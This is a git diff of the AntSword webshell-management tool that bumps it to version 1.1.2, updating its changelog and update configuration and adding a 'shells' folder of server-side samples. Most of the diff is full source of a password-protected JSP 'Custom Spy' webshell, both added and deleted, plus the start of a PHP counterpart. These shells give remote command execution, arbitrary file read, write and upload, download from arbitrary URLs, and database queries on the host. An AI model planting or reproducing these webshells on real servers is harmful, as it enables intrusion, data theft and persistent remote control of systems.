diff --git a/CHANGELOG.md b/CHANGELOG.md index 46fdd3c1..0788943a 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -2,44 +2,52 @@ > 有空会补补BUG、添添新功能。 > 同时也欢迎大家的参与!感谢各位朋友的支持! .TAT. +## 2016/04 +### /10 `(v.1.1.2)` + 1. 增加文件管理中可执行文件的提示样式 + 2. 调整文件管理中任务面板默认折叠(当有任务时自动展开 + +### /06 + 1. 添加 PHP Custom Spy,及多个 Shell 样本 // Thanks:[@Medicean][medicaean-github] + ## 2016/03 ### /30 1. 修正更新菜单栏判断条件(win禁止按钮 -### /29 +### /29 `(v.1.1.1)` 1. 完成在线更新功能(目前不支持windows以及开发版本 ### /26 1. 文件管理双击:size < 100kb ? 编辑 : 下载 - 2. 调整 Custom 方式数据库部分代码 // 2-4:感谢[@Medicean](https://github.com/Medicean) + 2. 调整 Custom 方式数据库部分代码 // 2-4:感谢[@Medicean][medicaean-github] 3. 添加 Shells 目录, 用于存放 shell 样本代码 4. 添加 `custom.jsp` 服务端样本代码 ### /24 1. 文件管理双击文件进行编辑 //size < 100kb -### /23 (v1.1.0) +### /23 `(v1.1.0)` 1. 优化数据处理截断算法 ### /22 1. 数据分类重命名 - 2. 新增代理连接配置 // 感谢[@Medicean](https://github.com/Medicean) + 2. 新增代理连接配置 // 感谢[@Medicean][medicaean-github] ### /21 1. 优化UI组建自适应,在调整窗口大小的时候不刷新就能调整UI尺寸 ### /18 - 1. 修复数据库XSS安全隐患以及特殊符号处理 // 感谢[@peablog](https://github.com/peablog) + 1. 修复数据库XSS安全隐患以及特殊符号处理 // 感谢[@peablog][peablog-github] ### /15 - 1. 修复了部分XSS遗留问题(主要在语言模板以及文件管理上还有虚拟终端等,其他地方可能还存在 // 感谢[@loveshell](https://github.com/loveshell) + 1. 修复了部分XSS遗留问题(主要在语言模板以及文件管理上还有虚拟终端等,其他地方可能还存在 // 感谢[@loveshell][loveshell-github] ### /14 1. 修复文件管理中过滤不当引发的xss安全问题 2. 增加窗口调整大小刷新UI之前弹框提醒用户选择是否刷新 3. 删除无用语言包(jp) - 4. 更新支持PHP7 // 感谢[@Lupino](https://github.com/Lupino) + 4. 更新支持PHP7 // 感谢[@Lupino][Lupino-github] 1. 删除`core/php/index.jsx`中的`@set_magic_quotes_runtime(0);` 2. 升级`core/php/template/database/mysql.jsx`中的`mysql`为`mysqli` @@ -49,7 +57,6 @@ # 待做事项 * 数据高级搜索功能 * 数据库配置编辑功能 - * 在线检测/下载/安装更新 * 虚拟终端复制粘贴tab补全 * 插件模块 //实时编写插件执行、UI以及各种操作API设计 * 扩展模块 //用于扩展一些高级的功能,懒人必备 @@ -58,3 +65,9 @@ * 英文说明+开发文档 * nodejs服务端脚本支持 * python服务端脚本支持 + + +[medicaean-github]: https://github.com/Medicean +[peablog-github]: https://github.com/peablog +[loveshell-github]: https://github.com/loveshell +[Lupino-github]: https://github.com/Lupino diff --git a/README.md b/README.md index adf9b6c1..2a8db5a3 100644 --- a/README.md +++ b/README.md @@ -5,7 +5,7 @@ **任何人不得将其用于非法用途以及盈利等目的,也禁止未经允许私自修改打包进行发布,否则后果自行承担并将追究其相关责任!** [![node](https://img.shields.io/badge/node-v4.0+-green.svg?style=flat-square)](https://nodejs.org/en/download/) -[![release](https://img.shields.io/badge/release-v1.1.1-blue.svg?style=flat-square)](https://github.com/antoor/antSword/releases/tag/1.1.1) +[![release](https://img.shields.io/badge/release-v1.1.2-blue.svg?style=flat-square)](https://github.com/antoor/antSword/releases/tag/1.1.2) ## 设计思想 > 中国蚁剑采用了[Electron](http://electron.atom.io/)作为外壳,`ES6`作为前端代码编写语言,搭配`Babel`&&`Webpack`进行组件化构建编译,外加`iconv-lite`编码解码模块以及`superagent`数据发送处理模块还有`nedb`数据存储模块,组成了这个年轻而又充满活力的新一代大杀器。 @@ -37,7 +37,7 @@ $ npm install ```sh $ npm install -g cnpm -—registry=https://registry.npm.taobao.org $ cnpm install electron-prebuilt@0.36.11 -$ npm install +$ npm install ``` @@ -97,4 +97,4 @@ $ npm start * Q群: [130993112](http://shang.qq.com/wpa/qunwpa?idkey=51997458a52d534454fd15e901648bf1f2ed799fde954822a595d6794eadc521) * 官网: [http://uyu.us](http://uyu.us) -* 微博: [蚁逅](http://weibo.com/antoor) +* 微博: [蚁逅](http://weibo.com/antoor) diff --git a/app.js b/app.js index 56c497d7..cc81def8 100644 --- a/app.js +++ b/app.js @@ -4,15 +4,6 @@ const electron = require('electron'); const app = electron.app; const BrowserWindow = electron.BrowserWindow; -// 导入模块 -const Cache = require('./modules/cache'); -const Update = require('./modules/update'); -const Menubar = require('./modules/menubar'); -const Request = require('./modules/request'); -const Database = require('./modules/database'); - -// electron.crashReporter.start(); - app .on('window-all-closed', app.quit) .on('ready', () => { @@ -22,12 +13,10 @@ app minWidth: 1040, minHeight: 699, webgl: false, - title: 'AntSword', - // autoHideMenuBar: true, - // transparent: false, - // frame: false - // resizable: false + title: 'AntSword' }); + + // 加载views mainWindow.loadURL(`file:\/\/${__dirname}/views/index.html`); // 调整部分UI @@ -37,7 +26,9 @@ app antSword.modules.shellmanager.category.cell.setWidth(222); }, 500); `); - } + }; + + // 窗口事件监听 mainWindow .on('closed', () => { mainWindow = null }) .on('resize', reloadUI) @@ -49,18 +40,9 @@ app // 打开调试控制台 // mainWindow.webContents.openDevTools(); - new Menubar(electron, app, mainWindow); - - // 监听Request请求 - new Request(electron); - - // 初始化数据库 - new Database(electron); - - // 初始化缓存模块 - new Cache(electron); - - // 监听更新请求 - new Update(electron); + // 初始化模块 + ['menubar', 'request', 'database', 'cache', 'update'].map((_) => { + new ( require(`./modules/${_}`) )(electron, app, mainWindow); + }); }); \ No newline at end of file diff --git a/modules/menubar.js b/modules/menubar.js index d1e53f1a..ef646e27 100644 --- a/modules/menubar.js +++ b/modules/menubar.js @@ -5,9 +5,7 @@ 'use strict'; // 读取package.json信息 -const info = JSON.parse( - require('fs').readFileSync(require('path').join(__dirname, '../package.json')) -); +const info = require('../package'); class Menubar { diff --git a/package.json b/package.json index 2bbb32e3..8c07d1c5 100644 --- a/package.json +++ b/package.json @@ -1,6 +1,6 @@ { "name": "antsword", - "version": "1.1.1", + "version": "1.1.2", "description": "中国蚁剑是一款跨平台的开源网站管理工具", "main": "app.js", "dependencies": { @@ -29,11 +29,13 @@ "type": "git", "url": "https://github.com/antoor/antSword" }, - "debug": true, + "debug": false, "update": { - "md5": "", - "logs": "", - "sources": {} + "md5": "13f38b143dfabf90ea296269acd5b547", + "logs": "添加 PHP Custom Spy,及多个 Shell 样本\n增加文件管理中可执行文件的提示样式\n调整文件管理中任务面板默认折叠(当有任务时自动展开", + "sources": { + "coding.net": "https://coding.net/api/share/download/573ed38e-ab89-4b16-86ff-2d0d58517a3f" + } }, "bugs": { "url": "https://github.com/antoor/antSword/issues" diff --git a/shells/README.md b/shells/README.md index f31e8c67..ca7679a7 100644 --- a/shells/README.md +++ b/shells/README.md @@ -1,2 +1,12 @@ ## Shell-Scripts -> 此目录用于存放一些示例的服务端脚本文件,仅供参考。 \ No newline at end of file +> 此目录用于存放一些示例的服务端脚本文件,仅供参考。 + +### PHP + +1. [PHP Custom Spy for Mysql](./php_custom_spy_for_mysql.php) +2. [PHP Create_Function](./php_create_function.php) +3. [PHP Assert](./php_assert.php) + +### JSP + +1. [JSP Custom Spy for Mysql](./jsp_custom_spy_for_mysql.jsp) diff --git a/shells/custom.jsp b/shells/custom.jsp deleted file mode 100644 index 53e0a3ad..00000000 --- a/shells/custom.jsp +++ /dev/null @@ -1,357 +0,0 @@ -<%@page import="java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*"%> -<%! - /** - * AntSword JSP Spy - * - * AntSword 最低版本:v1.1-dev,使用方式 custom 模式连接 - * Date: 2016/03/26 v1 - * 1. 文件系统 和 terminal 管理 - * 2. mysql 数据库支持 - * 3. 支持 base64 和 hex 编码 - **/ - String Pwd = "ant"; //连接密码 - String encoder = "base64"; // 数据编码 - //String encoder = "hex"; - String cs = "UTF-8"; - String EC(String s) throws Exception { - if(encoder.equals("hex") || encoder == "hex") return s; - return new String(s.getBytes("ISO-8859-1"), cs); - } - - String showDatabases(String encode, String conn) throws Exception { - String sql = "show databases"; // mysql - String columnsep = "\t"; - String rowsep = ""; - return executeSQL(encode, conn, sql, columnsep, rowsep, false); - } - - String showTables(String encode, String conn, String dbname) throws Exception { - String sql = "show tables from " + dbname; // mysql - String columnsep = "\t"; - String rowsep = ""; - return executeSQL(encode, conn, sql, columnsep, rowsep, false); - } - - String showColumns(String encode, String conn, String dbname, String table) throws Exception { - String columnsep = "\t"; - String rowsep = ""; - String sql = "select * from " + dbname + "." + table + " limit 0,0"; // mysql - return executeSQL(encode, conn, sql, columnsep, rowsep, true); - } - - String query(String encode, String conn, String sql) throws Exception { - String columnsep = "\t|\t"; // general - String rowsep = "\r\n"; - return executeSQL(encode, conn, sql, columnsep, rowsep, true); - } - - String executeSQL(String encode, String conn, String sql, String columnsep, String rowsep, boolean needcoluname) - throws Exception { - String ret = ""; - conn = (EC(conn)); - String[] x = conn.trim().replace("\r\n", "\n").split("\n"); - Class.forName(x[0].trim()); - String url = x[1] + "&characterEncoding=" + decode(EC(encode),encoder); - Connection c = DriverManager.getConnection(url); - Statement stmt = c.createStatement(); - ResultSet rs = stmt.executeQuery(sql); - ResultSetMetaData rsmd = rs.getMetaData(); - - if (needcoluname) { - for (int i = 1; i <= rsmd.getColumnCount(); i++) { - String columnName = rsmd.getColumnName(i); - ret += columnName + columnsep; - } - ret += rowsep; - } - - while (rs.next()) { - for (int i = 1; i <= rsmd.getColumnCount(); i++) { - String columnValue = rs.getString(i); - ret += columnValue + columnsep; - } - ret += rowsep; - } - return ret; - } - - String WwwRootPathCode(HttpServletRequest r) throws Exception { - String d = r.getSession().getServletContext().getRealPath("/"); - String s = ""; - if (!d.substring(0, 1).equals("/")) { - File[] roots = File.listRoots(); - for (int i = 0; i < roots.length; i++) { - s += roots[i].toString().substring(0, 2) + ""; - } - } else { - s += "/"; - } - return s; - } - - String FileTreeCode(String dirPath) throws Exception { - File oF = new File(dirPath), l[] = oF.listFiles(); - String s = "", sT, sQ, sF = ""; - java.util.Date dt; - SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); - for (int i = 0; i < l.length; i++) { - dt = new java.util.Date(l[i].lastModified()); - sT = fm.format(dt); - sQ = l[i].canRead() ? "R" : ""; - sQ += l[i].canWrite() ? " W" : ""; - if (l[i].isDirectory()) { - s += l[i].getName() + "/\t" + sT + "\t" + l[i].length() + "\t" + sQ + "\n"; - } else { - sF += l[i].getName() + "\t" + sT + "\t" + l[i].length() + "\t" + sQ + "\n"; - } - } - return s += sF; - } - - String ReadFileCode(String filePath) throws Exception { - String l = "", s = ""; - BufferedReader br = new BufferedReader(new InputStreamReader(new FileInputStream(new File(filePath)))); - while ((l = br.readLine()) != null) { - s += l + "\r\n"; - } - br.close(); - return s; - } - - String WriteFileCode(String filePath, String fileContext) throws Exception { - BufferedWriter bw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(filePath)))); - bw.write(fileContext); - bw.close(); - return "1"; - } - - String DeleteFileOrDirCode(String fileOrDirPath) throws Exception { - File f = new File(fileOrDirPath); - if (f.isDirectory()) { - File x[] = f.listFiles(); - for (int k = 0; k < x.length; k++) { - if (!x[k].delete()) { - DeleteFileOrDirCode(x[k].getPath()); - } - } - } - f.delete(); - return "1"; - } - - void DownloadFileCode(String filePath, HttpServletResponse r) throws Exception { - int n; - byte[] b = new byte[512]; - r.reset(); - ServletOutputStream os = r.getOutputStream(); - BufferedInputStream is = new BufferedInputStream(new FileInputStream(filePath)); - os.write(("->|").getBytes(), 0, 3); - while ((n = is.read(b, 0, 512)) != -1) { - os.write(b, 0, n); - } - os.write(("|<-").getBytes(), 0, 3); - os.close(); - is.close(); - } - - String UploadFileCode(String savefilePath, String fileHexContext) throws Exception { - String h = "0123456789ABCDEF"; - File f = new File(savefilePath); - f.createNewFile(); - FileOutputStream os = new FileOutputStream(f); - for (int i = 0; i < fileHexContext.length(); i += 2) { - os.write((h.indexOf(fileHexContext.charAt(i)) << 4 | h.indexOf(fileHexContext.charAt(i + 1)))); - } - os.close(); - return "1"; - } - - String CopyFileOrDirCode(String sourceFilePath, String targetFilePath) throws Exception { - File sf = new File(sourceFilePath), df = new File(targetFilePath); - if (sf.isDirectory()) { - if (!df.exists()) { - df.mkdir(); - } - File z[] = sf.listFiles(); - for (int j = 0; j < z.length; j++) { - CopyFileOrDirCode(sourceFilePath + "/" + z[j].getName(), targetFilePath + "/" + z[j].getName()); - } - } else { - FileInputStream is = new FileInputStream(sf); - FileOutputStream os = new FileOutputStream(df); - int n; - byte[] b = new byte[1024]; - while ((n = is.read(b, 0, 1024)) != -1) { - os.write(b, 0, n); - } - is.close(); - os.close(); - } - return "1"; - } - - String RenameFileOrDirCode(String oldName, String newName) throws Exception { - File sf = new File(oldName), df = new File(newName); - sf.renameTo(df); - return "1"; - } - - String CreateDirCode(String dirPath) throws Exception { - File f = new File(dirPath); - f.mkdir(); - return "1"; - } - - String ModifyFileOrDirTimeCode(String fileOrDirPath, String aTime) throws Exception { - File f = new File(fileOrDirPath); - SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); - java.util.Date dt = fm.parse(aTime); - f.setLastModified(dt.getTime()); - return "1"; - } - - String WgetCode(String urlPath, String saveFilePath) throws Exception { - URL u = new URL(urlPath); - int n = 0; - FileOutputStream os = new FileOutputStream(saveFilePath); - HttpURLConnection h = (HttpURLConnection) u.openConnection(); - InputStream is = h.getInputStream(); - byte[] b = new byte[512]; - while ((n = is.read(b)) != -1) { - os.write(b, 0, n); - } - os.close(); - is.close(); - h.disconnect(); - return "1"; - } - - String SysInfoCode(HttpServletRequest r) throws Exception { - String d = r.getSession().getServletContext().getRealPath("/"); - String serverInfo = System.getProperty("os.name"); - String separator = File.separator; - String user = System.getProperty("user.name"); - String driverlist = WwwRootPathCode(r); - return d + "\t" + driverlist + "\t" + serverInfo + "\t" + user; - } - - boolean isWin() { - String osname = System.getProperty("os.name"); - osname = osname.toLowerCase(); - if (osname.startsWith("win")) - return true; - return false; - } - - String ExecuteCommandCode(String cmdPath, String command) throws Exception { - StringBuffer sb = new StringBuffer(""); - String[] c = { cmdPath, !isWin() ? "-c" : "/c", command }; - Process p = Runtime.getRuntime().exec(c); - CopyInputStream(p.getInputStream(), sb); - CopyInputStream(p.getErrorStream(), sb); - return sb.toString(); - } - - String decode(String str) { - byte[] bt = null; - try { - sun.misc.BASE64Decoder decoder = new sun.misc.BASE64Decoder(); - bt = decoder.decodeBuffer(str); - } catch (IOException e) { - e.printStackTrace(); - } - return new String(bt); - } - String decode(String str, String encode){ - if(encode.equals("hex") || encode=="hex"){ - if(str=="null"||str.equals("null")){ - return ""; - } - StringBuilder sb = new StringBuilder(); - StringBuilder temp = new StringBuilder(); - try{ - for(int i=0; i -<% - response.setContentType("text/html"); - response.setCharacterEncoding(cs); - StringBuffer sb = new StringBuffer(""); - try { - String funccode = EC(request.getParameter(Pwd) + ""); - String z0 = decode(EC(request.getParameter("z0")+""), encoder); - String z1 = decode(EC(request.getParameter("z1") + ""), encoder); - String z2 = decode(EC(request.getParameter("z2") + ""), encoder); - String z3 = decode(EC(request.getParameter("z3") + ""), encoder); - String[] pars = { z0, z1, z2, z3}; - sb.append("->|"); - - if (funccode.equals("B")) { - sb.append(FileTreeCode(pars[1])); - } else if (funccode.equals("C")) { - sb.append(ReadFileCode(pars[1])); - } else if (funccode.equals("D")) { - sb.append(WriteFileCode(pars[1], pars[2])); - } else if (funccode.equals("E")) { - sb.append(DeleteFileOrDirCode(pars[1])); - } else if (funccode.equals("F")) { - DownloadFileCode(pars[0], response); - } else if (funccode.equals("U")) { - sb.append(UploadFileCode(pars[1], pars[2])); - } else if (funccode.equals("H")) { - sb.append(CopyFileOrDirCode(pars[1], pars[2])); - } else if (funccode.equals("I")) { - sb.append(RenameFileOrDirCode(pars[1], pars[2])); - } else if (funccode.equals("J")) { - sb.append(CreateDirCode(pars[1])); - } else if (funccode.equals("K")) { - sb.append(ModifyFileOrDirTimeCode(pars[1], pars[2])); - } else if (funccode.equals("L")) { - sb.append(WgetCode(pars[1], pars[2])); - } else if (funccode.equals("M")) { - sb.append(ExecuteCommandCode(pars[1], pars[2])); - } else if (funccode.equals("N")) { - sb.append(showDatabases(pars[0], pars[1])); - } else if (funccode.equals("O")) { - sb.append(showTables(pars[0], pars[1], pars[2])); - } else if (funccode.equals("P")) { - sb.append(showColumns(pars[0], pars[1], pars[2], pars[3])); - } else if (funccode.equals("Q")) { - sb.append(query(pars[0], pars[1], pars[2])); - } else if (funccode.equals("A")) { - sb.append(SysInfoCode(request)); - } - } catch (Exception e) { - sb.append("ERROR" + "://" + e.toString()); - } - sb.append("|<-"); - out.print(sb.toString()); -%> diff --git a/shells/jsp_custom_spy_for_mysql.jsp b/shells/jsp_custom_spy_for_mysql.jsp new file mode 100644 index 00000000..07e7faab --- /dev/null +++ b/shells/jsp_custom_spy_for_mysql.jsp @@ -0,0 +1,381 @@ +<%-- + _ ____ _ + __ _ _ __ | |_/ ___|_ _____ _ __ __| | + / _` | '_ \| __\___ \ \ /\ / / _ \| '__/ _` | +| (_| | | | | |_ ___) \ V V / (_) | | | (_| | + \__,_|_| |_|\__|____/ \_/\_/ \___/|_| \__,_| +——————————————————————————————————————————————— + AntSword JSP Custom Spy for Mysql + Author:Medici.Yan +——————————————————————————————————————————————— + +说明: + 1. AntSword >= v1.1-dev + 2. 创建 Shell 时选择 custom 模式连接 + 3. 数据库连接: + com.mysql.jdbc.Driver + jdbc:mysql://localhost/test?user=root&password=123456 + + 注意:以上是两行 + 4. 本脚本中 encoder 与 AntSword 添加 Shell 时选择的 encoder 要一致,如果选择 default 则需要将 encoder 值设置为空 + +ChangeLog: + + Date: 2016/04/06 v1.1 + 1. 修正下载文件参数设置错误 + 2. 修正一些注释的细节 + Date: 2016/03/26 v1 + 1. 文件系统 和 terminal 管理 + 2. mysql 数据库支持 + 3. 支持 base64 和 hex 编码 +--%> +<%@page import="java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*"%> +<%! + String Pwd = "ant"; //连接密码 + // 数据编码 3 选 1 + String encoder = ""; // default + // String encoder = "base64"; //base64 + // String encoder = "hex"; //hex + String cs = "UTF-8"; // 脚本自身编码 + String EC(String s) throws Exception { + if(encoder.equals("hex") || encoder == "hex") return s; + return new String(s.getBytes("ISO-8859-1"), cs); + } + + String showDatabases(String encode, String conn) throws Exception { + String sql = "show databases"; // mysql + String columnsep = "\t"; + String rowsep = ""; + return executeSQL(encode, conn, sql, columnsep, rowsep, false); + } + + String showTables(String encode, String conn, String dbname) throws Exception { + String sql = "show tables from " + dbname; // mysql + String columnsep = "\t"; + String rowsep = ""; + return executeSQL(encode, conn, sql, columnsep, rowsep, false); + } + + String showColumns(String encode, String conn, String dbname, String table) throws Exception { + String columnsep = "\t"; + String rowsep = ""; + String sql = "select * from " + dbname + "." + table + " limit 0,0"; // mysql + return executeSQL(encode, conn, sql, columnsep, rowsep, true); + } + + String query(String encode, String conn, String sql) throws Exception { + String columnsep = "\t|\t"; // general + String rowsep = "\r\n"; + return executeSQL(encode, conn, sql, columnsep, rowsep, true); + } + + String executeSQL(String encode, String conn, String sql, String columnsep, String rowsep, boolean needcoluname) + throws Exception { + String ret = ""; + conn = (EC(conn)); + String[] x = conn.trim().replace("\r\n", "\n").split("\n"); + Class.forName(x[0].trim()); + String url = x[1] + "&characterEncoding=" + decode(EC(encode),encoder); + Connection c = DriverManager.getConnection(url); + Statement stmt = c.createStatement(); + ResultSet rs = stmt.executeQuery(sql); + ResultSetMetaData rsmd = rs.getMetaData(); + + if (needcoluname) { + for (int i = 1; i <= rsmd.getColumnCount(); i++) { + String columnName = rsmd.getColumnName(i); + ret += columnName + columnsep; + } + ret += rowsep; + } + + while (rs.next()) { + for (int i = 1; i <= rsmd.getColumnCount(); i++) { + String columnValue = rs.getString(i); + ret += columnValue + columnsep; + } + ret += rowsep; + } + return ret; + } + + String WwwRootPathCode(HttpServletRequest r) throws Exception { + String d = r.getSession().getServletContext().getRealPath("/"); + String s = ""; + if (!d.substring(0, 1).equals("/")) { + File[] roots = File.listRoots(); + for (int i = 0; i < roots.length; i++) { + s += roots[i].toString().substring(0, 2) + ""; + } + } else { + s += "/"; + } + return s; + } + + String FileTreeCode(String dirPath) throws Exception { + File oF = new File(dirPath), l[] = oF.listFiles(); + String s = "", sT, sQ, sF = ""; + java.util.Date dt; + SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); + for (int i = 0; i < l.length; i++) { + dt = new java.util.Date(l[i].lastModified()); + sT = fm.format(dt); + sQ = l[i].canRead() ? "R" : ""; + sQ += l[i].canWrite() ? " W" : ""; + if (l[i].isDirectory()) { + s += l[i].getName() + "/\t" + sT + "\t" + l[i].length() + "\t" + sQ + "\n"; + } else { + sF += l[i].getName() + "\t" + sT + "\t" + l[i].length() + "\t" + sQ + "\n"; + } + } + return s += sF; + } + + String ReadFileCode(String filePath) throws Exception { + String l = "", s = ""; + BufferedReader br = new BufferedReader(new InputStreamReader(new FileInputStream(new File(filePath)))); + while ((l = br.readLine()) != null) { + s += l + "\r\n"; + } + br.close(); + return s; + } + + String WriteFileCode(String filePath, String fileContext) throws Exception { + BufferedWriter bw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(filePath)))); + bw.write(fileContext); + bw.close(); + return "1"; + } + + String DeleteFileOrDirCode(String fileOrDirPath) throws Exception { + File f = new File(fileOrDirPath); + if (f.isDirectory()) { + File x[] = f.listFiles(); + for (int k = 0; k < x.length; k++) { + if (!x[k].delete()) { + DeleteFileOrDirCode(x[k].getPath()); + } + } + } + f.delete(); + return "1"; + } + + void DownloadFileCode(String filePath, HttpServletResponse r) throws Exception { + int n; + byte[] b = new byte[512]; + r.reset(); + ServletOutputStream os = r.getOutputStream(); + BufferedInputStream is = new BufferedInputStream(new FileInputStream(filePath)); + os.write(("->|").getBytes(), 0, 3); + while ((n = is.read(b, 0, 512)) != -1) { + os.write(b, 0, n); + } + os.write(("|<-").getBytes(), 0, 3); + os.close(); + is.close(); + } + + String UploadFileCode(String savefilePath, String fileHexContext) throws Exception { + String h = "0123456789ABCDEF"; + File f = new File(savefilePath); + f.createNewFile(); + FileOutputStream os = new FileOutputStream(f); + for (int i = 0; i < fileHexContext.length(); i += 2) { + os.write((h.indexOf(fileHexContext.charAt(i)) << 4 | h.indexOf(fileHexContext.charAt(i + 1)))); + } + os.close(); + return "1"; + } + + String CopyFileOrDirCode(String sourceFilePath, String targetFilePath) throws Exception { + File sf = new File(sourceFilePath), df = new File(targetFilePath); + if (sf.isDirectory()) { + if (!df.exists()) { + df.mkdir(); + } + File z[] = sf.listFiles(); + for (int j = 0; j < z.length; j++) { + CopyFileOrDirCode(sourceFilePath + "/" + z[j].getName(), targetFilePath + "/" + z[j].getName()); + } + } else { + FileInputStream is = new FileInputStream(sf); + FileOutputStream os = new FileOutputStream(df); + int n; + byte[] b = new byte[1024]; + while ((n = is.read(b, 0, 1024)) != -1) { + os.write(b, 0, n); + } + is.close(); + os.close(); + } + return "1"; + } + + String RenameFileOrDirCode(String oldName, String newName) throws Exception { + File sf = new File(oldName), df = new File(newName); + sf.renameTo(df); + return "1"; + } + + String CreateDirCode(String dirPath) throws Exception { + File f = new File(dirPath); + f.mkdir(); + return "1"; + } + + String ModifyFileOrDirTimeCode(String fileOrDirPath, String aTime) throws Exception { + File f = new File(fileOrDirPath); + SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); + java.util.Date dt = fm.parse(aTime); + f.setLastModified(dt.getTime()); + return "1"; + } + + String WgetCode(String urlPath, String saveFilePath) throws Exception { + URL u = new URL(urlPath); + int n = 0; + FileOutputStream os = new FileOutputStream(saveFilePath); + HttpURLConnection h = (HttpURLConnection) u.openConnection(); + InputStream is = h.getInputStream(); + byte[] b = new byte[512]; + while ((n = is.read(b)) != -1) { + os.write(b, 0, n); + } + os.close(); + is.close(); + h.disconnect(); + return "1"; + } + + String SysInfoCode(HttpServletRequest r) throws Exception { + String d = r.getSession().getServletContext().getRealPath("/"); + String serverInfo = System.getProperty("os.name"); + String separator = File.separator; + String user = System.getProperty("user.name"); + String driverlist = WwwRootPathCode(r); + return d + "\t" + driverlist + "\t" + serverInfo + "\t" + user; + } + + boolean isWin() { + String osname = System.getProperty("os.name"); + osname = osname.toLowerCase(); + if (osname.startsWith("win")) + return true; + return false; + } + + String ExecuteCommandCode(String cmdPath, String command) throws Exception { + StringBuffer sb = new StringBuffer(""); + String[] c = { cmdPath, !isWin() ? "-c" : "/c", command }; + Process p = Runtime.getRuntime().exec(c); + CopyInputStream(p.getInputStream(), sb); + CopyInputStream(p.getErrorStream(), sb); + return sb.toString(); + } + + String decode(String str) { + byte[] bt = null; + try { + sun.misc.BASE64Decoder decoder = new sun.misc.BASE64Decoder(); + bt = decoder.decodeBuffer(str); + } catch (IOException e) { + e.printStackTrace(); + } + return new String(bt); + } + String decode(String str, String encode){ + if(encode.equals("hex") || encode=="hex"){ + if(str=="null"||str.equals("null")){ + return ""; + } + StringBuilder sb = new StringBuilder(); + StringBuilder temp = new StringBuilder(); + try{ + for(int i=0; i +<% + response.setContentType("text/html"); + response.setCharacterEncoding(cs); + StringBuffer sb = new StringBuffer(""); + try { + String funccode = EC(request.getParameter(Pwd) + ""); + String z0 = decode(EC(request.getParameter("z0")+""), encoder); + String z1 = decode(EC(request.getParameter("z1") + ""), encoder); + String z2 = decode(EC(request.getParameter("z2") + ""), encoder); + String z3 = decode(EC(request.getParameter("z3") + ""), encoder); + String[] pars = { z0, z1, z2, z3}; + sb.append("->|"); + + if (funccode.equals("B")) { + sb.append(FileTreeCode(pars[1])); + } else if (funccode.equals("C")) { + sb.append(ReadFileCode(pars[1])); + } else if (funccode.equals("D")) { + sb.append(WriteFileCode(pars[1], pars[2])); + } else if (funccode.equals("E")) { + sb.append(DeleteFileOrDirCode(pars[1])); + } else if (funccode.equals("F")) { + DownloadFileCode(pars[1], response); + } else if (funccode.equals("U")) { + sb.append(UploadFileCode(pars[1], pars[2])); + } else if (funccode.equals("H")) { + sb.append(CopyFileOrDirCode(pars[1], pars[2])); + } else if (funccode.equals("I")) { + sb.append(RenameFileOrDirCode(pars[1], pars[2])); + } else if (funccode.equals("J")) { + sb.append(CreateDirCode(pars[1])); + } else if (funccode.equals("K")) { + sb.append(ModifyFileOrDirTimeCode(pars[1], pars[2])); + } else if (funccode.equals("L")) { + sb.append(WgetCode(pars[1], pars[2])); + } else if (funccode.equals("M")) { + sb.append(ExecuteCommandCode(pars[1], pars[2])); + } else if (funccode.equals("N")) { + sb.append(showDatabases(pars[0], pars[1])); + } else if (funccode.equals("O")) { + sb.append(showTables(pars[0], pars[1], pars[2])); + } else if (funccode.equals("P")) { + sb.append(showColumns(pars[0], pars[1], pars[2], pars[3])); + } else if (funccode.equals("Q")) { + sb.append(query(pars[0], pars[1], pars[2])); + } else if (funccode.equals("A")) { + sb.append(SysInfoCode(request)); + } + } catch (Exception e) { + sb.append("ERROR" + "://" + e.toString()); + } + sb.append("|<-"); + out.print(sb.toString()); +%> diff --git a/shells/php_assert.php b/shells/php_assert.php new file mode 100644 index 00000000..baeaaa4c --- /dev/null +++ b/shells/php_assert.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/shells/php_create_function.php b/shells/php_create_function.php new file mode 100644 index 00000000..97664b4f --- /dev/null +++ b/shells/php_create_function.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/shells/php_custom_spy_for_mysql.php b/shells/php_custom_spy_for_mysql.php new file mode 100644 index 00000000..c2828648 --- /dev/null +++ b/shells/php_custom_spy_for_mysql.php @@ -0,0 +1,406 @@ += v1.1-dev +* 2. 创建 Shell 时选择 custom 模式连接 +* 3. 数据库连接: +* localhost +* root +*

123456

+* +* 4. 本脚本中 encoder 与 AntSword 添加 Shell 时选择的 encoder 要一致,如果选择 default 则需要将 encoder 值设置为空 +* +* ChangeLog: +* +* Date: 2016/04/06 v1.0 +* 1. 文件系统 和 terminal 管理 +* 2. mysql 数据库支持 +* 3. 支持 base64 和 hex 编码 +**/ + +$pwd = "ant"; //连接密码 +//数据编码 3 选 1 +$encoder = ""; // default +// $encoder = "base64"; //base64 +// $encoder = "hex"; // hex +$cs = "UTF-8"; + +/** +* 字符编码处理 +**/ +function EC($s){ + global $cs; + $sencode = mb_detect_encoding($s, array("ASCII","UTF-8","GB2312","GBK",'BIG5')); + $ret = ""; + try { + $ret = mb_convert_encoding($s, $cs, $sencode); + } catch (Exception $e) { + try { + $ret = iconv($sencode, $cs, $s); + } catch (Exception $e) { + $ret = $s; + } + } + return $ret; +} +/*传输解码*/ +function decode($s){ + global $encoder; + $ret = ""; + switch ($encoder) { + case 'base64': + $ret = base64_decode($s); + break; + case 'hex': + for ($i=0; $i < strlen($s)-1; $i+=2) { + $output = substr($s, $i, 2); + $decimal = intval($output, 16); + $ret .= chr($decimal); + } + break; + default: + $ret = $s; + break; + } + return $ret; +} +function showDatabases($encode, $conf){ + $sql = "show databases"; + $columnsep = "\t"; + $rowsep = ""; + return executeSQL($encode, $conf, $sql, $columnsep, $rowsep, false); +} +function showTables($encode, $conf, $dbname){ + $sql = "show tables from ".$dbname; // mysql + $columnsep = "\t"; + $rowsep = ""; + return executeSQL($encode, $conf, $sql, $columnsep, $rowsep, false); +} + +function showColumns($encode, $conf, $dbname, $table){ + $columnsep = "\t"; + $rowsep = ""; + 